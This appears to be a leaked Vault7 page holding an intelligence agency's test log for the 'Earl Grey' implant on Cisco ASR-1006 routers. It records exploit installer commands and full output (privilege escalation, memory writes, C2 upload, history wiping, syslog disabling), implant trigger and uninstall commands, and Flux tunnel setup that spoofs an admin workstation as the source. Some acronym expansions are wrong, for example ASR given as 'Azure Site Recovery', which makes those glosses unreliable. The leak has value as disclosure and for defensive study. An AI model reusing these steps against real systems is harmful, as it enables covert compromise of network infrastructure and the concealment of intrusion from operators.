Vault7: CIA Hacking Tools Revealed
Navigation: » Latest version
Owner: User #1179928
Earl Grey v1.0.0 Testing
CONOP:
- Using two Flux nodes between ICON and the target for obfuscation; establish install path from admin host in target network coming from telnet port 23. Once installed, SNMPSimple Network Management Protocol trigger will come through the admin box as well and the target ASRAzure Site Recovery will beacon back from a random high port to the web host which has a forth Flux node installed on it that is bridging port 8080 to port 8080 in the flux tunnel.
Summary:
- 10/14 - Initial install test completed. Trigger sent and received back from implanted ASR
- 10/20 - Sucessfully installed EGEarl Grey (Project name) on the target through the 3 Flux nodes appearing to originate from an admin workstation. Also successfully configured Flux/EG so that EGEarl Grey (Project name) would beacon back through an Internet connected Web host to pass the beacon back through the Flux tunnel.
- Made new EGEarl Grey (Project name) implant with operational settings with operator's input: Using 2 Flux nodes for obfuscation and 2 Flux nodes inside the target network for the gateway and return beacon. Successfully able to send SNMPSimple Network Management Protocol trigger appearing to come from admin host and the target successfully beaconing back from a random high port to 8080 on the web host.
Testing Notes:
EG-1.0.0
- On Earl-Grey build VM, login with eg_build / eg_build (su - 10sne1)
- Edit /home/eg-build/Earl_Grey_v1.0.0/common/config.h
-
vi config.h
- LP_HOST1 "X.X.X.XX (LVLT-GOGL-8-8-8[US])"
- LP_HOST2 "X.X.X.XX (LVLT-GOGL-8-8-8[US])"
- LP_HOST3 "127.0.0.1"
-
-
cd /home/eg-build/Earl_Grey_v1.0.0/build/release/cd ../../..
make clean release
ls -l ./build/release/
- From ICON1 (Move build from eg-build VMVirtual Machine to ICON1 VMVirtual Machine)
root@debian:/etc# scp -r root@172.20.12.105:/home/eg-build/Earl_Grey_v1.0.0/build/release /home/user1
- root@debian:/home/user1/release# python earlgrey_installer.py XXX.XX.XXX.XX (ORACLE-AT[US]) cisco cisco password ASR-1006 ./test_log c2_manager clear_exp_history
-
Receive the following output:
== Exploit version 30502 ==
[+] Generating random names for the c2 and clear sip history binaries
c2_manager is now wdotiutq (9191b039896bd7c12ec984288a300a2b)
clear_exp_history is now aswulpmp (8652da573ae103299f6c12b14c874bd7)
[+] wdotiutq.tar.gz size: 34131 bytes
[+] aswulpmp.tar.gz size: 2256 bytes
[+] Logging into ASR-1006 as 'cisco@XXX.XX.XXX.XX (ORACLE-AT[US])' via telnet
[+] Escalating privileges
[+] Dropping down into SIPSession Initiation Protocol (Internet Telephony) console
Exception during our attempt to get the SIPSession Initiation Protocol (Internet Telephony) console: Timeout exceeded.
<expect_telnet.expectlogtelnet object at 0x7fc0929dce10>
version: 3.2
command: /usr/bin/telnet
args: ['/usr/bin/telnet', 'XXX.XX.XXX.XX (ORACLE-AT[US])']
searcher: <pexpect.searcher_re object at 0x7fc0929dce50>
buffer (last 100 chars): '0\r\nEnter interface cpu to connect to: 0\r\n%Slot 0 does not support IPCInterprocess Communications console to CPU 0.\r\n\r\nASR-1006#'
before (last 100 chars): '0\r\nEnter interface cpu to connect to: 0\r\n%Slot 0 does not support IPCInterprocess Communications console to CPU 0.\r\n\r\nASR-1006#'
after: <class 'pexpect.TIMEOUT'>
match: None
match_index: None
exitstatus: None
flag_eof: False
pid: 12367
child_fd: 3
closed: False
timeout: 30
delimiter: <class 'pexpect.EOF'>
logfile: <open file '././test_log', mode 'w+' at 0x7fc0929e5a50>
logfile_read: None
logfile_send: None
maxread: 2000
ignorecase: False
searchwindowsize: None
delaybeforesend: 0.05
delayafterclose: 0.1
delayafterterminate: 0.1
- Spoke to Will at the Bakery on the install failure above. They had me run the following on our ASR:
ASR-1006#ipc-con
Enter interface slot to connect to: 0
Enter interface cpu to connect to: 0
%Slot 0 does not support IPCInterprocess Communications console to CPU 0.- This seems to indicate that there is an issue with config/hardware that will NOT allow the EGEarl Grey (Project name) implant to install
- Waiting for callback from User #? (0931 10/9)
- After speaking with User #77432, it was determined that since I do not have a SPA interface card in slot 0/0, this delivery will not work with the current hardware configuration.
- I removed the 5x1Gig SPA card from slot 0/2 and put it into 0/0 and was able to do a "ipc-con" "0 0" via the IOS
- From ICON1
root@debian:/etc# scp -r root@172.20.12.105:/home/eg-build/Earl_Grey_v1.0.0/build/release /home/user1
-
root@debian:/home/user1/release# python earlgrey_installer.py XXX.XX.XXX.XX (ORACLE-AT[US]) cisco cisco password ASR-1006 ./test_log c2_manager clear_exp_history
-
Received the following output after the installer was stuck and hung for approximately 30 minutes
== Exploit version 30502 ==
[+] Generating random names for the c2 and clear sip history binaries
c2_manager is now iyucoycj (9191b039896bd7c12ec984288a300a2b)
clear_exp_history is now tlohvidm (8652da573ae103299f6c12b14c874bd7)
[+] iyucoycj.tar.gz size: 34131 bytes
[+] tlohvidm.tar.gz size: 2259 bytes
[+] Logging into ASR-1006 as 'cisco@XXX.XX.XXX.XX (ORACLE-AT[US])' via telnet
[+] Escalating privileges
[+] Dropping down into SIPSession Initiation Protocol (Internet Telephony) console
[+] Computing offsets for writing into SIPSession Initiation Protocol (Internet Telephony) memory
^CTraceback (most recent call last):
File "earlgrey_installer.py", line 639, in <module>
if sip_writer.findWriteOffet(expect) == False:
File "earlgrey_installer.py", line 30, in findWriteOffet
expect.sendcommand('term length 0', sendline = True, waitforprompt=True)
File "/home/user1/release/expect_telnet.py", line 75, in sendcommand
return self.getprompt(sendline = sendline, timeout = timeout)
File "/home/user1/release/expect_telnet.py", line 68, in getprompt
self.drain()
File "/home/user1/release/expect_telnet.py", line 62, in drain
r = self.expect([".*", pexpect.TIMEOUT, pexpect.EOF], timeout = .1)
File "/usr/lib/python2.7/dist-packages/pexpect/__init__.py", line 1417, in expect
return self.expect_list(compiled_pattern_list,
- Restarted ASRAzure Site Recovery to try again....same result as previous.
-
Received the following output after the installer was stuck and hung for approximately 30 minutes
- dw_checker.py
- Using "-i" option in Makefiles to ignore matches from the dirty word checker. Appears that the result of this is that if matches are found compilation will continue along, forcing user to look through make scrollback to see if there were any dirty word hits of concern. They probably did this to get around false positive matches, but the result that it is very likely that legitimate matches will be missed ==> open defect
- When running "make clean all", see the following:
-
python ../../utilities/dw_checker.py -m -i -d ../../utilities/dirtywords.txt c2_manager
dw_checker hit on 1 dirty wordsResults:
--------
1) Match: lab
Context: '{ sleep 3; echo "cp /tmp/sw/fp/0/0/fp/mount/etc/lablogin.sh /etc/; /bin/sh -c '(sleep 6; rm -rf /root/.bash_history)&'"; sleep 3; echo "exit"; } | telnet fp-active' - lablogin.sh is part of IOS-XE - kicks off internal file copying from the active RP; c2_manager uses it to push files
-
- Candidates for dwlist.txt; these are present in debug builds, so we should make sure they don't appear in release builds
- gdb(server) - may be required: "bexec.sh -c 'gdbserver 10.0.2.0:4545 --attach `pidof cpp_cp_svr`; exit;' -t 10.0.2.0 > /dev/null &"
- collect(ion)
- hook
- payload
- trigger
- (de)(en)crypt
- replay
- encrytion (misspelling in the debug build)
EG-1.0.1 (New Release to fix SIPSession Initiation Protocol (Internet Telephony) interface position and Python 2.7 issues)
- On Earl-Grey build VM, login with eg_build / eg_build (su - 10sne1)
- Edit /home/eg-build/earl_grey_v1.0.1/common/config.h
-
vi config.h
- LP_HOST1 "X.X.X.XX (LVLT-GOGL-8-8-8[US])"
- LP_HOST2 "X.X.X.XX (LVLT-GOGL-8-8-8[US])"
- LP_HOST3 "127.0.0.1"
-
-
cd /home/eg-build/earl_grey_v1.0.0/build/release/cd ../../..
make clean release
ls -l ./build/release/
- From ICON1 (Move build from eg-build VMVirtual Machine to ICON1 VMVirtual Machine)
- Without changing any modules: Interface card in SIPSession Initiation Protocol (Internet Telephony) 0/0, 0/1, 0/3 (none in SIPSession Initiation Protocol (Internet Telephony) 0/2)
root@debian:/home/user1# scp -rp root@172.20.12.105:/home/eg-build/earl-grey-1.0.1/earl-grey-1.0.1/build/release /home/user1
- root@debian:/home/user1/release# python earlgrey_installer.py XXX.XX.XXX.XX (ORACLE-AT[US]) cisco cisco password ASR-1006 ./test_log c2_manager clear_exp_history
-
Receive error that there is no SIPSession Initiation Protocol (Internet Telephony) module in 0/2:
-
== Exploit version 30502 ==
[+] Generating random names for the c2 and clear sip history binaries
c2_manager is now ogucnlyg (572f41612aa50255925b319f6345eb0d)
clear_exp_history is now ommnqpmj (2d05ac51d0cbe6d7f822e4bd13b7ff38)
[+] ogucnlyg.tar.gz size: 34143 bytes
[+] ommnqpmj.tar.gz size: 2267 bytes
[+] Logging into ASR-1006 as 'cisco@XXX.XX.XXX.XX (ORACLE-AT[US])' via telnet
[+] Escalating privileges
[+] Dropping down into SIPSession Initiation Protocol (Internet Telephony) console
Exception during our attempt to get the SIPSession Initiation Protocol (Internet Telephony) console: Timeout exceeded in read_nonblocking().
<expect_telnet.expectlogtelnet object at 0x7f10f09e2990>
version: 2.3 ($Revision: 399 $)
command: /usr/bin/telnet
args: ['/usr/bin/telnet', 'XXX.XX.XXX.XX (ORACLE-AT[US])']
searcher: searcher_re:
0: re.compile("session")
buffer (last 100 chars): 0
Enter interface cpu to connect to: 2
%Slot 0 does not support IPCInterprocess Communications console to CPU 2.ASR-1006#
before (last 100 chars): 0
Enter interface cpu to connect to: 2
%Slot 0 does not support IPCInterprocess Communications console to CPU 2.ASR-1006#
after: <class 'pexpect.TIMEOUT'>
match: None
match_index: None
exitstatus: None
flag_eof: False
pid: 18874
child_fd: 3
closed: False
timeout: 30
delimiter: <class 'pexpect.EOF'>
logfile: <open file '././test_log', mode 'w+' at 0x7f10f09f6810>
logfile_read: None
logfile_send: None
maxread: 2000
ignorecase: False
searchwindowsize: None
delaybeforesend: 0.05
delayafterclose: 0.1
delayafterterminate: 0.1
-
- Moved 5x1G SPA card into SIPSession Initiation Protocol (Internet Telephony) 0/2 and ran installer again:
-
root@debian:/home/user1/release# python earlgrey_installer.py XXX.XX.XXX.XX (ORACLE-AT[US]) cisco cisco password ASR-1006 ./test_log c2_manager clear_exp_history
Received the following output:
== Exploit version 30502 ==
[+] Generating random names for the c2 and clear sip history binaries
c2_manager is now qkbthkef (572f41612aa50255925b319f6345eb0d)
clear_exp_history is now ndkfoznh (2d05ac51d0cbe6d7f822e4bd13b7ff38)
[+] qkbthkef.tar.gz size: 34141 bytes
[+] ndkfoznh.tar.gz size: 2267 bytes
[+] Logging into ASR-1006 as 'cisco@XXX.XX.XXX.XX (ORACLE-AT[US])' via telnet
[+] Escalating privileges
[+] Dropping down into SIPSession Initiation Protocol (Internet Telephony) console
[+] Computing offsets for writing into SIPSession Initiation Protocol (Internet Telephony) memory
[+] Write location: 0x31244FD0
[+] Uploading and executing sh code to overwrite .sh files
--- Upload 100% complete ---
[+] Getting root terminal on RP active
Get prompt failed
Met with The Bakery to troubleshoot (10/14)
- After some troubleshooting on the target ASR1006, it was determined that a hard drive must be installed in the management card for the exploit to install on target.
- Powered down ASR, inserted hard drive, and started ASRAzure Site Recovery back up.
- Attacked ASRAzure Site Recovery previous commands from ICON1
-
root@debian:/home/user1/release# python earlgrey_installer.py XXX.XX.XXX.XX (ORACLE-AT[US]) cisco cisco password ASR-1006 ./test_log c2_manager clear_exp_history
== Exploit version 30502 ==
[+] Generating random names for the c2 and clear sip history binaries
c2_manager is now wflgxgob (572f41612aa50255925b319f6345eb0d)
clear_exp_history is now yihjukqc (2d05ac51d0cbe6d7f822e4bd13b7ff38)
[+] wflgxgob.tar.gz size: 34140 bytes
[+] yihjukqc.tar.gz size: 2264 bytes
[+] Logging into ASR-1006 as 'cisco@XXX.XX.XXX.XX (ORACLE-AT[US])' via telnet
[+] Escalating privileges
[+] Dropping down into SIPSession Initiation Protocol (Internet Telephony) console
[+] Computing offsets for writing into SIPSession Initiation Protocol (Internet Telephony) memory
[+] Write location: 0x31248FD0
[+] Uploading and executing sh code to overwrite .sh files
--- Upload 100% complete ---
[+] Getting root terminal on RP active
[+] Uploading wflgxgob.tar.gz to the RP
--- Upload 100% complete ---
[+] Decompressing the c2 package
[+] md5sum /tmp/wflgxgob: 572f41612aa50255925b319f6345eb0d
[+] Executing wflgxgob
[+] Getting root terminal on SIP
[+] Uploading yihjukqc.tar.gz to the SIP
--- Upload 100% complete ---
[+] Decompressing the cleanup package
[+] md5sum /tmp/yihjukqc: 2d05ac51d0cbe6d7f822e4bd13b7ff38
[+] Executing yihjukqc
[+] Cleaning up files on SIP
[+] Getting a terminal on FP
[+] Disabling syslog messages from the FP
[+] Cleaning up files on RP-active
[+] Exploit completed successfully
- Copied "release" folder from the eg-builder VMVirtual Machine to ICON2
- Ran the daemon on the LPListening Post (ICON2): root@debian:/home/user1/release# ./lp_daemon
- From ICON1, ran the following test trigger: root@debian:/home/user1/release# ./lp -T XXX.XX.XXX.XX (ORACLE-AT[US]) -D X.X.X.XX (LVLT-GOGL-8-8-8[US]) -n
Using default port, 4444, to connect to server daemon
Implant Health Status:
Uptime: 1313 seconds
Redir: Not Running
Survey: Not Running
10/19 - Test install through Flux tunnel
- Created IP access list on ASR1006, Ten 0/3/0.4 to block traffic from host X.X.X.XX (LVLT-GOGL-8-8-8[US]) to XX.XX.X.XX (HURRICANE-9[US]). This will ensure that ICON1 cannot directly attack the ASRAzure Site Recovery interface and that the source IP must appear to be coming from the Admin/FLX1 workstation.
- Configured two Flux nodes between ICON and the target network and they show in the Flux GUIGraphical User Interface on my ICON box.
- Configured Flux on "Web" and "Host1" in target network and they are showing as two spokes in the Flux GUIGraphical User Interface on ICON.
- Configured the Flux gateway to be that of Host1(Admin/FLX1) so that source traffic going to ASRAzure Site Recovery will appear to come from this workstation from ICON.
- Configured bridge in Flux GUIGraphical User Interface to bridge port 8080 that the beacon will call back on to port 4444 which is configured in the LP_Daemon listener.
- Made a new
- (With ASRAzure Site Recovery previously restarted) Ran attack from ICON:
root@debian:/home/user1/release# python earlgrey_installer.py XX.XX.X.XX (HURRICANE-9[US]) cisco cisco password ASR-1006 ./test_log101 c2_manager clear_exp_history
- .......
- [+] Exploit completed successfully
- Tried to do a health check to the implant via:
root@debian:/home/user1/release# ./lp -T XX.XX.X.XX (HURRICANE-9[US]) -D XX.XX.X.XXX (HURRICANE-9[US]) -P 8080 -n
Failed to receive enough HELLO data.
-
Created a bridge in Flux to bridge the LP_Default_Implant_Port 6001 to port 6001 to pass the beacon back to ICON1
- Bridging other ports to 6001 was not successful in combination with the trigger syntax above.
-
Successfully sent trigger and received beacon back through the web host:
root@debian:/home/user1/release# ./lp -T XX.XX.X.XX (HURRICANE-9[US]) -n
Using loop-back address to connect to server daemon
Using default port, 4444, to connect to server daemon
Implant Health Status:
Uptime: 71194 seconds
Redir: Not Running
Survey: Not Running- Successfully seeing SNMPSimple Network Management Protocol packet on Flux gateway which is the administrator workstation (as expected).
- TCPDump on the Webhost shows comms coming from the target over default port 23 (telnet) to the destination port of 6001
- Spoke with operator about this issue and he would prefer a random high port. I then changed the config.h file for future build so that the beacon port is "0" so that it will choose an ephemeral port
- Sent uninstall command:
root@debian:/home/user1/release# ./lp -T XX.XX.X.XX (HURRICANE-9[US]) -x
Using loop-back address to connect to server daemon
Using default port, 4444, to connect to server daemon
Implant Health Status:
Uptime: 77344 seconds
Redir: Not Running
Survey: Not Running Sending health status again hangs as the implant successfully uninstalled.
- On Builder: Did a "make clean release" with the following config.h:
- CLIENT_LOCAL_BEACON_PORT set to "0" so that it would chose a high port
- LP_DEFAULT_IMPLANT_PORT 8080 // Port to beacon back to web host
- LP_HOST1 "XX.XX.X.XXX (HURRICANE-9[US])" // web host
- From ICON1: (Reinstall; beacon back through web:8080)
scp -rp root@172.20.12.105:/home/eg-build/earl-grey-1.0.1/earl-grey-1.0.1/build/release /home/user1
Made a bridge on Flux web host to bridge 8080 > 8080 to send the beacon back through the tunnel to ICON Desktop
root@debian:/home/user1/release# python earlgrey_installer.py XX.XX.X.XX (HURRICANE-9[US]) cisco cisco password ASR-1006 ./test_log101 c2_manager clear_exp_history
Start ./lp_daemon in seperate window on ICON1
-
root@debian:/home/user1/release# ./lp -T XX.XX.X.XX (HURRICANE-9[US]) -n
Using loop-back address to connect to server daemon
Using default port, 4444, to connect to server daemon
Implant Health Status:
Uptime: 162 seconds
Redir: Not Running
Survey: Not RunningWireshark on admin box shows SNMPSimple Network Management Protocol get request to target XX.XX.X.XX (HURRICANE-9[US])
TCPDump on web host shows random high ports going to 8080 on web host
With EGEarl Grey (Project name) installed on target, make a new release and try to implant target again
- Make a new release from eg-build and transfer to ICON1 VM
- Ran attack from ICON:
root@debian:/home/user1/release# python earlgrey_installer.py XX.XX.X.XX (HURRICANE-9[US]) cisco cisco password ASR-1006 ./test_log101 c2_manager clear_exp_history